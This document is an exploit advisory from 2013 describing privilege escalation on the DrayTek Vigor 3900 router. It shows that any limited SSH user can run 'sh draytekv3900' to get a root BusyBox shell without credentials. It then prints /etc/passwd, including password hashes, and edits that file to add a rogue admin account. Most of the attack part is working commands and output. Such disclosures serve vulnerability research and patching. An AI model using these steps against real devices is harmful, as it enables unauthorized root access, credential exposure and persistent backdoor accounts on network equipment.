Draytek Vigor 3900 1.06 - Privilege Escalation

# Exploit Title: Previlege escalation
# Date: 19/3/2013
# Exploit Author: Mohammad abou hayt 
# Vendor Homepage: http://www.draytek.com.tw/index.php?option=com_k2&view=item&layout=item&id=2627&Itemid=593&lang=en
# Software Link: N/A
# Version: Vigor 3900 -Hardware V2 - firmware latest 1.06

########################Privilege escalation  for draytek vigor 3900#####################

########################Affected device Description:#####################################
Vigor 3900 Router Firewall :
High Performance Multi-WAN VPN Appliance
The Vigor 3900 is a high-performance quad-Gigabit WAN router for high-performance applications including remote access, firewalling, load-balancing and
failover. Its WAN throughput runs at up to 1Gb/s, adequate for the most demanding SME applications. The WAN ports on the Vigor 3900 can provide load balancing
or WAN failover. Based on a new DrayTek OS platform, the Vigor 3900 combines high performance and capacity with DrayTek's traditional ease of use and comprehensive
features set.
########For multi-tenant or departmental flexibility, the Vigor3900 will support multiple LAN IP subnets, together with VLAN capabilities and user management
providing access to WAN resources only to the appropriate users or departments, as well as maintaining infrastructure effciency.

############################Advisory:###################################################

#The finding started when creating a normal limited user or any user to access the firewall dashboard.
 

##Having the port 22 open by default, try to login the firewall using putty with this limited user credentials

login as: test
test@192.168.0.1 password:

********************************************
*                                          *
*                Welcome V3900             *
*                                          *
********************************************

Welcome it is Thu Mar 28 18:58:31 UTC 2013
Vigor3900>

###vigor 3900 is built in BusyBox  : Trying to shell the device by using “sh draytekv3900” will gain root shell without asking for credintial   .
####And what I have noticed that any user you create from the dashboard will be able to access the root shell whereas .

Vigor3900> sh draytekv3900

BusyBox v1.4.2 (2013-02-25 23:52:19 CST) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

#####Printing the cat /etc/passwd

~ # cat /etc/passwd
root:!:0:0:root:/tmp:/bin/ash
nobody:*:65534:65534:nobody:/var:/bin/false
admin:$1$1xUkNSXm$SFvMVQCzcM3LmK9mrJmux0:500:500:admin:/tmp:/usr/bin/clish
operator:$1$.FTn64sr$3tKZ2599RrSU9TA.C/vKd0:501:501:operator:/usr:/bin/clish
quagga:x:51:51:quagga:/tmp/.quagga:/bin/false
test:$1$qHVw8Ap.BnYm7jd5VYqBSo0:502:502:Linux User,,,:/tmp:/usr/bin/clish

#######Adding another admin (admin1)

~ # vi /etc/passwd
root:!:0:0:root:/tmp:/bin/ash
nobody:*:65534:65534:nobody:/var:/bin/false
admin:$1$1xUkNSXm$SFvMVQCzcM3LmK9mrJmux0:500:500:admin:/tmp:/usr/bin/clish
operator:$1$.FTn64sr$3tKZ2599RrSU9TA.C/vKd0:501:501:operator:/usr:/bin/clish
quagga:x:51:51:quagga:/tmp/.quagga:/bin/false
admin1:$1$1xUkNSXm$SFvMVQCzcM3LmK9mrJmux0:500:500:admin:/tmp:/usr/bin/clish
test:$1$qHVw8Ap.BnYm7jd5VYqBSo0:502:502:Linux User,,,:/tmp:/usr/bin/clish
 
~:wq

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Discovered and written by: Mohammad Abou Hayt

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